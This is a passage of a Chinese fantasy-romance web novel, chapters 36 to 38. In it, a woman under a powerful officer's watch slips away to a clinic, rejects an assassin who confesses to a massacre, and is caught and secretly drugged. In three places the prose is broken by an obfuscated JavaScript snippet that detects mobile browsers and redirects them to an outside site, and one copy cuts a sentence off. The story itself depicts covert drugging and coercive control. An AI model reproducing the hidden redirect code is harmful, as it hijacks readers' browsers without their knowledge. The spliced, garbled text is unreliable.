“那今天早上的事儿……你打算怎么谢我呀?”加茜娅忽然凑上前,以一个将碰未碰的距离贴到詹姆斯面前。 詹姆斯一愣:“什么?” 他不由地屏住气,感觉到加茜娅一簇一簇的呼吸,顺着他的下巴往四处流,钻进毛孔和血管,把那颗心脏提了起来,悬而不决,只拿带笑的眼波转动打量。 “我说的是那个碰瓷的老头。”她语气一顿,带些微妙的调侃,“我可不想看到你进警局做笔录,和他们扯来扯去,那有损绅士风范,还会继续错过更多时间……” 这是实话,詹姆斯哑口无言。他欠她一个人情,亦或者说,潜意识里,他并不希望自己与她关系太僵。 “再说,大街上能出什么事儿呢?我就去一趟商圈,还特意选的是离这儿最近的,你知道的,就北边那个。两个钟头后回来,你还在这儿等我,就当我们两个的小秘密。就一次,好不好?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308530|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 加茜娅带着期盼眼神,继续往前一步,快要贴到他身上。詹姆斯浑身都毛刺起来,狼狈地扭过头:“好吧!您一定准时回来,多注意安全。我就在这儿等着。” 他只想快点结束这种悬空的诡异状态。 “你可真是个好人。”她拍了拍他手臂,转头离开,“我会记着你的贴心,不会在阿纳鲁面前多嘴一句的。” “……”詹姆斯呆在原地,想来想去,总觉得那不是什么好的评价。 . 北区八号民用医疗点。这是加茜娅以前经常拜访的平民诊所。 她仿佛又回到了狭巷生活,房屋拥挤,工业管道遮天蔽日、响个没完,雾霾总不知起自何方,但永远弥漫在每一个角落,昏暗、霉绿、潮湿冰冷,让人想起各种腐溃的怪病,风湿和关节炎,还有喘不出的浓痰块。 候诊大厅里坐满灰扑扑的人群,皆是愁容满面的劳工妇孺。老人很少见,因为活不到那把年纪。消毒水味的空气里,充斥着咳嗽和呻吟。 墙壁上贴了许多卷角的海报,写着“成瘾剂滥用危害生命”之类廉价药物警示,还有“严禁私自施放魔法,违者罚款五万,收回执照”等规章制度。 大厅门口有个简陋的长条木柜预诊台,加茜娅在那儿领了防护面罩,并出示自己每月固定时间的预约单,然后就径直入内去找医生。 这里的走廊阴暗狭长,两边都是病房。加茜娅知道,里面摆满了一排又一排排简陋的铁架床,只用发黄的帘子相隔。她每次路过都忍不住加快脚步,因为感到自己与死神也隔得不远。 接待加茜娅的医生正是拉斐尔的哥哥,洛瑟,一位定期坐诊的白精灵,与加茜娅关系还算不错,平时也偶尔见面吃饭,因此常存在于她当作挡箭牌的桃色绯闻里。 但加茜娅知道,寿命漫长的种族不会轻易和人类交往,不仅是因为生命,更是因为自恃“不同基础的智慧”。唯拉斐尔是个例外。 桌对面的洛瑟穿着白袍子,尖脸尖耳,有一双看遍人间疾苦的银色眼眸,仁慈而平静;背挺得笔直,落在背上的银发也垂得笔直,和教科书种族图鉴一样标准。他同时也是标准的白精灵观念,虽乐行慈善,从不施放治疗术,以免元素波动引来魔法监管局和医院同行的举报。 这位来自另一个位面、信奉光明神的虔诚信徒不知活了多久,反正已经治了一百多年的病,辞旧迎新,从魔法纪元一路治到如今的联合纪元,可以说是绝对的经验丰富。 但无论经验多么丰富,洛瑟都会对眼前的人类感到惊异。 “又是安眠药和兴奋剂,这次还要强度最高的止痛剂?你只是普通的强迫型障碍,为什么要如此折腾身体?”他听完加茜娅的诉求,摇一摇头,“我不能再给你开这些药了。它们不光影响生育,还会影响你的精神和寿命。” 他说着,侧身打开桌案旁的皮革医药匣。匣子下方是一个可拉伸的小抽屉,里面整齐地码着各色药瓶和一摞病案记录册。 属于加茜娅的记录册通常被压在最下边,占据几乎三分之一的空间。洛瑟将它抽出来,翻到最后几张空白页上,开始询问加茜娅近期情况。 “你应该开始戒断,不能再吃下去了。我可以开戒断的药。”他强调道。 “可是洛瑟,你也看到了,我现在的状态多么好,还胖了一点!”加茜娅瞪大眼,向他展示自己脸、手上能够捏起的皮肉。 “我听说了,你最近过得不错。但也只是物质意义上的不错。” 以自然蕴育之灵的直觉,洛瑟总觉得她不太正常,尽管看起来思维灵敏,行动无碍,但加茜娅的眼睛里从来无“神”。这不同于其它病患的麻木,而是一种类似灵魂缺位的异常表现。 洛瑟没遇到过这种病例,书上也没有写。 他看着加茜娅,犹豫起来:“如果你一定要……我可以最后再给你开一次,这次是减量的。而且,你必须验一次血,我会根据结果决定下次的配药。” “验血?这是你们的新技术吗?”加茜娅问。 洛瑟点点头:“对,正好今天有专门的负责人过来坐诊取样。检验过程很慢,还在试验期。虽然前面有很多排单,但等你这趟外勤回来,一定可以出结果的。” 加茜娅垂着头想了想,为了拿到药品,必须答应才行。 况且,让人觉得她会回来,这是件好事。 . 半小时后,加茜娅离开诊所,准备立刻坐车回到中心商业圈,象征性地买点东西,骗过詹姆斯。 她走到巷口的时候,忽然听到,身后高处有谁对她吹了声口哨。 很轻佻、很不礼貌的高调子。 但也很熟悉。 36.Chapter 36. 疯子 加茜娅停住脚步,手摸上腰间的枪把,回过头。 拉斐尔坐在屋檐上,一只手搭着曲起的膝盖,一条腿放下来轻轻晃荡。他穿着束身的黑袍,大半边脸被兜帽阴影遮住,下巴上有可疑的暗红液痕。 咔啦,咔啦,揉塑料纸的声音。他又在嚼什么糖。紧抿着嘴,只有下颌微动,半歪斜地抬头,从帽子阴影里显出两点银光,用一种陌生的视线打量面前这个人类女子。 毛骨悚然。加茜娅暗道不好。 刚才在诊所的时候,她向洛瑟打听过拉斐尔的下落。洛瑟只说他最近常来,但看着心情很差,一来就问“加茜娅在不在”,问完就走,也不像平时那样碎嘴。 看来,他是专门在此处候着她。 拉斐尔忽地消失在屋檐。下一秒,他站在离加茜娅三步远的地方。 离得近了,加茜娅看清他灰暗的皮肤上印着飞溅状的血迹,从颊侧一直斜向上散开;还有一些零星的血点子,各处都有。 “要等你单独出现,可真不容易。”他木然地盯着她,语气没有起伏。 “好久不见。你的脸上怎么回事?”加茜娅心中有不好的预感。 拉斐尔闻言,眼珠子向下转,头没动,抬起手,掌心像是要刮掉皮肤那样用力地抹一把脸,抹得鼻子都往旁边歪。 脸上血渍更多了,好像本来就是红皮肤一样——因为他手上的血也没有洗。 “加茜娅,我来向你汇报任务呢。”他咧起嘴,露出森森的牙,“没想到那个化工厂都不用我出手就炸了。你说的两个人,其中一个死在了爆炸里,另一个我已经杀了。顺带,当时在场的都杀了,这样保证不会搞错人。” “什么?”加茜娅以为自己听错了。 “就是中州日报社啊。不出意外,明天你就会看到新闻了,但恐怕只有别家的报道。” 加茜娅不由后退一步:“无差别杀戮?你?你疯了吗?” “对啊。我本来就是疯子嘛!你现在才知道?”拉斐尔漫不经心地转了下脖子,发出“咔哒”一响。 他又往前走两步:“我真是小瞧了你啊,加茜娅……每次我问你和那家伙的关系,你都说,只是‘业务往来’而已。这下好,我几天不在,现在都往来到家里,往来到床上去了?既然你这么随便,给我的奖励也该是上.床吧?” 加茜娅继续后退,呼吸错乱地盯着他。 “早知道,之前刺杀的时候就认真一点了!”他笑起来。 刺杀? 过了数秒,加茜娅反应过来,拉斐尔说的,竟是之前在剧院外停车场的那场枪案! “那个刺客居然是你?为什么?” “我的名气大嘛。收人钱财,替人卖命罢了。”他耸耸肩,“上次是看到了你,才慢一拍。不过放心,我下次出手,可就不会犹豫了。” “不,你不会杀他。军部现在是暗精灵的保护伞。泽诺、萝拉、艾莉……都得指望他的支持,才能留在中州‘安全区’。”她保持着理智,一条条分析。 “暗精灵?”拉斐尔哂笑,“他们死活关老子屁事!” 加茜娅笃定地摇头:“你总喜欢撒谎,拉斐尔。你做不到那样无情。” “撒谎?亲爱的,这应该我问你。”他一顿,慢慢地走上前,“我之前是不是对你太好了?好到你可以同时劈腿别人?” “冷静点!” “可以跟别人上.床,不可以跟我?*的,装什么**……”拉斐尔一把抓住她扬起的手,紧攥在半空不松开,“又来这招?*子……” 加茜娅沉下了脸,但抽不动手。 对于拉斐尔说的一连串脏话,她并不感到意外,毕竟这符合他的个性。她只是没想到,这些污言秽语有一天会全砸在自己身上,怎么下流怎么来! 他骂了半天,骂累了,直着眼喘气,继续靠近。 加茜娅的另一只手终于拔出枪,顶在他胸口: “这是猎魔枪,可以穿破魔法屏障。你最好不要继续往前走。” 拉斐尔怔怔地低下头,盯着“银小姐”漂亮的枪管:“你……想杀我?加茜娅,你竟然想杀我?” 他忽然松开手,垮下肩膀,喉咙里干涩地哽咽一声。 “加茜娅。”他摊开沾满血的哆嗦的双手,感到自己头一次这么失态,还是在初次心动的女人面前,“为什么啊?为什么要骗我?我都决定好为你卖命了!” 事实上,他早就在为她卖命了。 拉斐尔是一颗很好用的棋子,要不是今后逃亡必须全面掩盖身份,她也并不想失去这一助力。但既然已经决定离开,现在就是揭开真相的最佳时机。 不该让他这辈子都怀有执念,为她这样不值得的人。 内心隐隐有种抽痛的错觉,说不清是愧疚还是什么。加茜娅犹豫一瞬,低下了头:“对不起,我有我的苦衷,所以骗了你。以后不要轻易相信别人,不要轻易做这种决定。” “我从没轻易过!为什么你会觉得我做这些很轻易?”他几乎嘶吼起来。 “对不起,对不起。我是一个坏人。对不起。” 她终于发现,自己只会重复这个苍白的词。此刻,一切话语都是无力的。 拉斐尔沉默了,把眼睛一闭:“加茜娅……你说吧,你说你不喜欢我。” “我不喜欢你。” 加茜娅把头扭向一边。 “……你说你讨厌我。”他紧闭着眼,声音颤抖起来。 “我讨厌你。” 他听出来,加茜娅是真的不想再接触他了,于是睁眼盯着旁边的地面,双目失神,半张着嘴,好像不知道该怎么回应了。 “加茜娅……其实你是被胁迫的吧?这就是你的苦衷吗?”他的眼睛又紧接着一亮,看向她,“我知道那家伙有点权势……” “我是自愿的,我们两情相悦,请你不要再插足了。” “哈!哈哈!” 拉斐尔终于泄了气,失声而笑,很快又因为喘不上气而停止。他浑身都剧烈抖动起来,抱着腹部半弯下腰,直不起来。 加茜娅举枪对着他,自己一步步后退;见他没反应,遂转身便走。 可是走了没多久,又被跟上来。失魂落魄的声音,时远时近地缠着她。 “加茜娅,你有喜欢过我吗?一点点?偶尔? “加茜娅……我可以偷偷见你吗?不让你知道? “加茜娅,你看我一眼吧……看完我就不缠着你了……” 拉斐尔带出了哭腔,一边抹脸,一边远远地、慢慢地跟着她。他跟了几步,蹲下来缓一阵,又起身追上去,再弯腰扶着膝盖低头掉眼泪。脸上和手心都有温热的液体往下淌。嘀嗒,心里流的血也掉在地上。 “恶心的女人,老子再找你老子就是狗!呸! …… “喂!答应我!要是还有一点同情我,就别回头。万一我哪天忍不住找你,千万别理我,就当我犯贱! “加茜娅……你听到我说的了吗?你就不能回句话? “走着瞧……以后可别后悔! “加茜娅理理我…… “为什么……为什么你会是这个样子的?为什么你要是这种人…… “遇到你算老子倒霉!可以抵消两百年的噩运! “加茜娅……回头看我一眼,就一眼,最后一眼…… “加茜娅,加茜娅……” 她装聋,快步往前走,一路不敢回头,也不愿细想这些话。 也不知又走了多远,才没有再听到他的声音。 或许是终于死心了吧。这样就好,对大家都好。 加茜娅站在蒸汽轨道车站的月台边上,用手捂住脸。 在扑面而来的呛人烟雾中,她听到一溜高亢鸣笛声,“哐哧哐哧”的列车行进声。天黑了,四周挂灯亮起,同轨道上那两束尖锐的车头灯遥相照应。 “检票!检票!有魔法师证的排在最后!”列车员下了车,高声地喊。 加茜娅心不在焉地跟着人群,不知怎么排到了魔法师的队伍里。他们穿着标志性的魔纹长袍,持着法杖,冷脸看她。 她被列车员不耐烦地呵斥了两句,下意识地重复说着“对不起”,迅速上车。 窗边,夜晚的街景明明暗暗,映得她面颊上一亮一亮。因为闭着眼,这种感觉更偏向恍惚,宛如梦游。 加茜娅不清楚自己是不是浅睡做梦了,总之,身体漂浮在一片明灭混沌中,摇摇欲坠地想着:她是弃子,拉斐尔又成为她的弃子。 她也变成了那个……可恨的执棋人了吗? . 那天夜晚,詹姆斯把她送回别墅,叹着气说:“加茜娅,这真的是最后一次了。我的心差点跳出来!长官要是知道这种事,非杀了我不可!” 他适时地闭嘴,并不透露更多信息。 加茜娅听懂了。 不愧是久经沙场的亡命徒,隐匿行踪很有一套。但她此时情绪麻木,没有心思再多说什么,也没有理会詹姆斯欲言又止的矛盾神色。 “长官对您这么好,您也应该知足啊。”他忍不住劝她。 “我明白,我会珍惜这一切的。” 她没有精力再管别人了,只想着下一步该怎样做。她还想弄点晶币现金,可实在被看得太紧——才同詹姆斯提了去银行的事,当晚便收到阿纳鲁赠送的“附属账户”,表示她的一切零花钱无需再从别处取用。 然而,这张印有“联邦军部特许/蒙格马利家族权限下发”的无限额交易凭证,其一切消费记录都可供账户主人调取查询。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331180|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 现在,不光是詹姆斯,就连别墅的仆人们都盯紧了她:无论走到哪,做什么,都至少有两名眼线在场,美其名曰是“保护”她,怕她被莫伯斯势力要挟绑架,或是遭遇什么危险的刺客。 加茜娅从浴室出来,便有两名女仆拥上前为她擦发;加茜娅去藏书阁,就立刻有随从拿着记事本殷勤陪伴;加茜娅在盥洗室看着镜子发了会儿呆,门便会被敲响,仿佛她下一秒就能用水池把自己溺死似的! 只有进了资源署的大门,她才能得到几个小时的喘息时间。然而门外有人看守,门内不知是否有线人串通,还是说她疑心病重,总感到无时无刻不被什么目光注视着…… 加茜娅放弃了别的准备,一心只想着进书房,看看能否在最后出发前,拿到任何类型的边境关卡资料。 好消息是,她真的在临行前三天,等来了这样的“机会”。 . 长达小半个月的联合会议结束。次日,阿纳鲁就将启程前往东部边境督战。 他总不能辞了她的政府工作,把她随身携带着上战场吧? ——虽然他也已经几次三番地这样提起!甚至暗示他完全办得到,就盼着她一个点头,或者只是犹豫的眼神。 加茜娅坐在漆黑一片的卧室里,连壁炉都不许仆人点。她只想这样抱膝缩在床头,静静地发呆,享受一会儿独处的空间。 门外传来连串的动静。有仆人们四处踢踏走动、压低声的惊呼,还有杯子和银托盘叮咚相碰的声音。 阿纳鲁已经不是第一次这样,带着满身酒气晚归了。只不过,今天似乎醉得格外厉害。她不敢猜测此前的哪一次属于“星月之宴”,或是类似的政治集团灰色交易宴席。 他推开门,没站稳,摇晃地扶了一下门框。 “加茜娅!”他喊着,同时扯了一下自己的衬衫领子,没扯动,垂下手低头喘息。大衣刚才已由仆人们拿去保管。 加茜娅走过去扶着他,帮他解开几颗领口的纽扣。 阿纳鲁将头埋在她肩膀上,吸咬她颈侧,同时手里胡乱解着皮带。 加茜娅不紧不慢地,引他往床边去。她本想先哄他躺下休息,再给他端杯水来喂——当然,要趁机偷偷地放安眠药。 谁知他仿佛是醉狠了,完全控制不住自身重量,压着她便直接倒在床上! “阿纳鲁?”加茜娅忍不住轻声在他耳边唤。 ……没有回应。 过了一会儿,颈侧传来深浅交替的呼吸声。 “你睡着了吗?”她再次试探着问,心脏怦怦跳起来。 还是没动。 机不可失!一片黑暗中,加茜娅摸索着,先是顺着他腰线往下,去探他裤子口袋,很小心地勾出里面的钥匙。然后,扶着他的脸往旁边挪,身体也使劲儿往外钻。 指尖冰凉凉的……是水迹?刚才仆人喂水没有擦干净? 加茜娅从他沉重的身下钻出,撑着枕头坐起来,随即精细地控制着动作,先将脚挪到旁边,慢腾腾准备下床。 蓦地,手腕一紧,竟被他紧紧攥住了! 加茜娅停住动作,心提到了嗓子眼儿。 “亲爱的,你醒着么?我去给你倒杯水?”她强作镇定。 “加茜娅……别走……别离开我……”他断断续续、含含糊糊地埋在枕头里说着,并且另一只手也在旁边抓握着空气。 又过片刻,攥着她手腕的那只手缓慢地松开,很自然的样子。 轻浅的呼吸声传出来。原来是在做梦。 加茜娅蹲在床边小声唤了几次,依然没有反应。她咽了口唾沫,冷静下来、屏住呼吸,仔细倾听他的鼻息节奏: 很均匀,没有大的起伏波动,也没有不自然的颤动。她轻轻触了下他的肩胛骨,手指所及之处一片温热放松,像是真的沉睡了。 这样才好。 她稍微放下心,转身走向门口。最后,回头确认一眼:他保持着原来趴着的姿势,很安静,一声不发。很好。 门外不出所料地安排了两名仆人看守。 “他在水池边吐得厉害。”加茜娅睁着眼撒谎,“你,去倒杯温水;你,去找点醒酒的药。” 仆人们惊疑不定,互相对视。加茜娅佯装发火:“怎么!你们的主人就在里面,这还不放心?要我搀着他亲自出来发令?不要命了?” “是,我们这就去!”二人不敢再问,即刻行动。 主人套间隔壁,就是书房。加茜娅捏紧手心里的钥匙,四周飞快环视一圈,悄悄走去。 . 卧室里。阿纳鲁翻了个身,仰躺在床面上,两眼一眨不眨地盯着天花板。 不知怎么,他有点想笑。 …… 他觉得自己,可能是疯了。 37.Chapter 37. 控制 书房里漆黑一片。 加茜娅将门溜出半条缝,自己提着口气滑进去,然后悄无声息地合上门。 此时若贸然开灯,必然惊动守夜的仆人警卫,所以加茜娅沿着墙壁探到窗边,将窗帘卷起一个小口,使月光恰好能照进来。 之前给阿纳鲁送茶水时,她偶然瞥见过门内的布置,于是依着记忆先摸到桌边,等视线慢慢亮开了,便仔细搜索案上物品。 桌面干净整洁,没有什么线索。她于是半蹲下去,小心地拉动抽屉把手……果不其然,上锁了,但手头的钥匙打不开。 不知是否是太过紧张,加茜娅总觉得隔壁的床好像响了一下。 她僵住动作、凝神细听了会儿,又似乎无事发生。仆人们都下了楼,还没有回来,必须抓紧行动。 加茜娅屏住呼吸,决定赌纯机械锁的可能性,伸手拔下一根头发插入锁孔,左右尝试着旋转角度。 十秒,二十秒……仆人应该要回来了吧?该不该放弃? 正犹豫间,她听见“咔哒”一声,锁芯微响,仿佛整个房间都被震动了一下。加茜娅手心冒汗,停住两秒,半托半悬地将抽屉无声地移出来,不发出任何摩擦声响。 里面有大叠文件。迅速翻找一下,似乎没有放印章。但是,底部档案袋中,有几份文件的页角上有圆形突起的浮雕印痕,指尖抚过时感到轻微烫意、缓慢扭动感。 是军部机密程度最高的魔纹印!这可不好仿造,而且她不擅长记忆陌生的魔法纹路,尤其是会移动重组的:没有任何物理规律可言,只能和另一方的信物相互印证。 加茜娅闭眼咬牙,将手心贴上去,多少感受一下长什么样。 就在她心里计算着时间,准备关上抽屉时—— 书房的灯忽然亮起。 “加茜娅。” 这一瞬,她的所有力气都消散了,瘫坐在地上。 视线余光里,一个人影映在门口地毯上不动。这条影子向后拉长,拉得愈发高挑浅淡,最后是一双熟悉的军靴走到眼前,停下。 加茜娅抬起头,看到阿纳鲁也正低头看着自己,脸颊大半陷在阴影中,没什么表情;领口扣子松开,半垂着,和他此时的精神状态一样颓靡。 他转开目光,不再注视她。暖色灯光照在他脸上,看起来很疲惫,眼角和嘴角都往下耷拉,竟有几分未老先衰的架势,以惊人速度向那群白发议员的面相趋近。加茜娅记得自己刚认识他的时候不是这样的。 “坐下。我们谈谈。” 他把烟盒甩在桌上,自顾自地拉开椅子坐下,然后就支在扶手上,隔着一片腾腾的烟气,眯起眼打量她。 酒精和香烟的味道混杂在一起,熏得加茜娅有点想吐。她没有听他的话,只是站起身,往后退了几步,警惕地对上视线。 “以前我还想不明白,为什么那个老东西会把母亲送到疗养院去。”阿纳鲁似笑非笑,“现在我有点理解了……而且非常赞同。” 一句话道尽家族秘辛。加茜娅听得心惊肉跳,凉气上涌。 她强打起十二分精神,逼出一个温柔又难过的表情:“亲爱的,我怎么舍得离开你?去那种地方,还不如把我24小时关在你身边。” 阿纳鲁扬起眉毛,作惊异状:“哦?你真是这么想的?”他笑着,随手将烟头在玻璃缸里一点,“那正好,咱们一拍即合。你退出资源署,跟我去东部战区。我会把你留在安全的后方,派一披精锐部队保护起来。” 加茜娅低垂着眼,攥了下拳,很快松开。要说安全,中州才是最安全的地方,任何意义上。一旦跨出这条疆界,到那边,可就真的是他的天下了。 她明白不能来硬的,于是低着头委委屈屈地向他挪几步,正要往他怀里一倒,却哪知扑了个空! 阿纳鲁偏过身,抬一抬下巴,示意她坐到对面去。 加茜娅干脆折起一条腿半跪下来,伏在他膝盖上抬起脸,半是撒娇半是哀求:“不要这样对我!亲爱的,你知道我会疯掉的!” 头顶传来轻笑:“现在这样下去,恐怕是我先疯掉。也可能我已经疯了,被你逼的。” 这回,阿纳鲁没有再拒绝她的接近,而是一只手抚上她的头,又用手指滑动着穿过发丝,帮她全部披散开,好像在给什么宠物顺毛一样。 他缓缓地将一口烟气喷到加茜娅脸上:“亲爱的,我现在,大概能知道你什么来头……今天又是要帮他们偷点什么,好让他们继续威胁我?还是说你真是莫伯斯那派的?别以为我什么都不知道。我只是不想说。” “我全部断掉了,以后再也不会有这种事。真的!这是最后一次,请相信我。”加茜娅闭上眼。她感到脑子里有根弦在尖锐嗡鸣。 他换了个姿势,翘起二郎腿,鞋尖晃悠着勾起她的下巴。 喀。 弦绷断了。 “加茜娅,说实话,我不嫌弃你。”他垂下眼,皱着眉,不知在想什么,“我甚至可以顶着压力娶你,然后你就不用工作了。可以每天逛街喝茶,偶尔我们出去旅游,孩子的事慢慢来。凭我的地位,你会成为上流太太圈子里最受追捧的那个。” 足尖的那张脸被支着,缓缓抬高,好让他随便一瞥就尽收眼底。 ……嫌弃?……甚至? 加茜娅不敢置信、愣愣地瞪大眼睛。 这一刹那,她的脑子里闪过许多画面——有他们一起筹划阴谋的,有他教她怎么握枪的,有他们相携看展会的,有她靠在他肩上嬉笑玩闹的,在床上翻滚的,依偎着看花看星星月亮的,信誓旦旦谈着未来的…… 最后,这些全部碎在他下流的语言和动作里,碎在那张电报名单里,又被所有的阴影记忆覆盖。 眼前这个男人变得如此陌生,陌生得令她想要尖叫。 她以为自己从始至终没有动情,而心口的疼痛来得迟钝而深刻。她盯着他的眼睛,又想起他出现在电报里的名字。不知不觉,脸上一阵温热滚落……她恍然发觉,自己的泪水又不可遏制地流了下来。 最近的眼泪好像是太多了些。 加茜娅不知道自己此刻究竟是怨恨、心痛还是惋惜。这些都不重要了,所有迟到的情绪搅作一团。勾着她下巴的、坚硬的鞋尖,变作一把尖刀刺穿心脏,捅出了所有压抑的汹涌的晦涩幽深的爱恨。 太晚了,一切都来得太晚了。 他不会懂她此刻的感受,而她也不知道具体是什么东西晚了,只是模模糊糊地这样想着,哭得喘不上气来。 阿纳鲁似乎有所触动,犹豫了一下,将脚放下,用干燥的掌心托住她的脸庞,拿拇指从中间向外侧一遍遍地抹开泪水。但她哭起来没个完。 终于,他叹了口气,弯下腰将她扶起来,抱着她坐在自己怀里。 “求求你了……”加茜娅不停地抖动着,抽着气,伸手搂住他脖子,将额头贴在他脸侧,“别这样对我……我们之前那样不是很好吗?让我继续工作,我不能没有事干……再给我,再给我们一次机会……” 他别开眼,不言不语。 “我愿意嫁给你!你回来我们就订婚好吗?”加茜娅的眼泪流到他脸上,汩汩地往下淌,“不要把我变成你母亲那样,不要逼我恨你……我会以十万分的真心爱你,我在天地众神面前发誓……再相信我一次,好吗?你会喜欢的!” 阿纳鲁沉默了很久,久到她以为自己要这么流着泪昏睡过去。 他终于出声了,吻了一下她的耳垂:“你看你,怕什么?我当然只是吓吓你。早这样不就行了?出了这么多汗,去洗个澡吧。” 单薄的睡衣里伸进一只手,在她的后背上游走片刻,湿漉漉地向前探去。 加茜娅闭上嘴,两眼发直,一动不动,任由他抱着自己起身,向浴室走。 她仰着脖子后倒在他手臂上,眼前的世界也倒过来,一晃一晃,时而模糊时而清晰。 ……理智重新渗回来,不再带有任何情绪。 . 加茜娅觉得自己最近记性变差了,而且越来越多地喜欢睡觉。 这很不寻常,因为她一向拥有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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加茜娅沉沉地想着,用力掐自己手心。麻木感持续了很久,痛觉才慢慢清晰起来。她望向窗外庭院里,大片亮晶晶的琉璃花,想起自己有一个十分相爱的未婚夫……不对,不对,哪里不对? 她用一根新的头发丝打开锁,动作熟练得仿佛刻在本能里,简直像做过无数遍似的。 里面有个杂物箱,堆了许多旧物。除了一些乱七八糟的金属元件外,还有一块奇怪的红色石头,一瓶没有标记的液体,竟然还有一把漂亮的银色手枪和子弹盒。底部是一些散乱的文件,有些文件上写着“加茜娅”这个名字。 加茜娅是谁?是哪个女人?她惊惶而愤怒地哆嗦起来。 ……直到她看到那张中州居留证上,她自己的照片。 加茜娅是自己的名字? 喀!什么弦绷断的声音。 她睁大了眼睛,捂住嘴连连倒退几步! 这个时候,房间门又被敲响了。仆人在外头呼唤:“夫人,到点了,该去洗漱睡觉了。” 加茜娅应了一声,迅速地将所有东西归位,关上柜门、落好锁。随后,她回忆、模仿着自己刚才进来时迷迷怔怔的样子,脚步飘浮地游荡出去。 “夫人,这是您最喜欢的热杏仁蜂蜜牛奶,有安神功效。”女仆端着托盘,向她低头屈膝,宽大膨起的裙摆优雅荡起。 加茜娅将自己的同样不便的巨大裙摆压了一压:“我想先换衣服,这个不太舒服……腰有点难受。” 女仆们齐齐投来责备的目光,语气却十分柔和:“夫人,一位上流淑女是不该在这个时候换睡衣的,这太不体面、太不符合礼仪了,先生会不喜欢的。” “好吧。”加茜娅乖乖地端起牛奶。 她闻到这牛奶的气味有些奇怪,似乎里面除了杏仁和蜂蜜以外,还有些其它物质的存在。要不是此刻头脑清醒、高度警惕,她很可能就这么忽视过去。 “我可以不喝吗?”她深呼吸一口气。 女仆们再次抬起头。 加茜娅忽然觉得,那些原本温顺和善的眼神,在她说出这句话后,悄然发生了变化。 38.Chapter 38. 失控 “夫人,您今晚不想睡个好觉吗?”一位年长些的女仆笑着开口,“先生吩咐过我们,要照顾好您的身体。他很关心您呢!” “是啊!您最近太焦虑了,总是梦话连篇,做什么都出错。这样下去,病情会加重的。” 旁边的女仆接着说。 “不仅病情会加重。”端托盘的女仆盯紧加茜娅,“就连肚子里的孩子都会受伤害!您忘了吗?之前您已经失去过一个了!” 这实在是太可怕、太不称职了——她们用这样的目光提醒道。 加茜娅懵了一下,低头抚上自己平坦的小腹。她竟有点分不清这是不是真的!心底又萌生出想要尖叫的感觉。 ……如果此刻不喝,恐怕接下来要喝的就不止这点了。 “你们说得对,是我太神经质了。”她闭上眼,顺从地咽下了牛奶。 温热的涌流顺着食道往下滚动。随即,升起一阵暖洋洋、飘飘欲仙的快活感,如同踩上天梯,腾云驾雾起来。 加茜娅狠狠掐住手心。她朦胧意识到,自己正被女仆们搀扶着,一路走回房间,洗漱清理、在头发和身体上涂抹芳香的乳膏,换上滑溜溜的丝绸睡衣。 神智又开始迷糊起来。仆人们走了,体贴地关门关灯,留她一个人躺在空荡荡的、绫罗锦绣堆成的棺材里,双眼无神地盯着天花。 四周死寂般昏沉。唯有掌腹的位置,不断传来痛觉。 她举起手,借着一点幽淡月光,愣愣地看向那些发黑的掐痕。它们似乎在皮肤表层浮动,一会儿像是自己的手印,一会儿又像别人的。 在许多条纵横交错的纹路中,只有这几枚小月牙形的印记杂乱突兀,痛得真实,是这空洞偌大的世界里她唯一能立足的坐标点。 加茜娅时而清醒时而昏聩,在脑海里倒推自己留下这些印痕的意图。 过了会儿,她深吸一口气憋住,从床上滚落到地毯上,拖着缠绕身体的被子、奋力抬起发软的四肢,往盥洗室爬去。 墙外隐约传来仆人们低声交谈的笑音,她听不清内容,却感到那些声音像剧毒水银一样从耳朵里慢慢灌进脑子。 大脑阵阵发晕,眼泪无声地掉。 不能停,不能停……都已经,那么那么努力地爬到这里了。床脚距离盥洗室的数步之遥,她仿佛爬了有一个世纪那么久。 “呕——” 加茜娅扶着水池,将手指伸进喉咙深处用力抠刮,不在意指甲会剜下些什么。随着辛辣发酸的胃液涌出的,还有丝丝缕缕艳红的血。 她喘息着,靠墙滑坐在地面上,感受鼻腔、喉咙和食道火辣辣的痛感。 太好了。疼痛意味着真实的世界。 没有时间休息,必须争分夺秒地行动。加茜娅醒过来,张嘴咬住自己的手背,直到清醒感横冲直撞地灌进大脑。 她嘴角挂血,摇摇晃晃地站起,觉得自己形同一条面目狰狞的恶鬼,满怀愤怒流窜于世,不知下一刻要索谁的命去。 眩晕几秒后,加茜娅告诉自己冷静下来,先走到床头柜翻找:里面只留有一点小剂量的安眠药。不是她自己的,应该是仆人们图方便留下的。 “宁睡粉”,加茜娅认识这个品类。可以混入精油香薰中,无色无味、无知无觉地将人催眠。不知道自己此前中招过多少次。 她又悄悄走到门口,竖起耳朵听外头的动静。门外留有一男一女两个仆人,正小声地打情骂俏,时不时发出低笑和喘息。 “嘘!轻点。你不怕把里面那位吵醒?”女仆嗔怪。 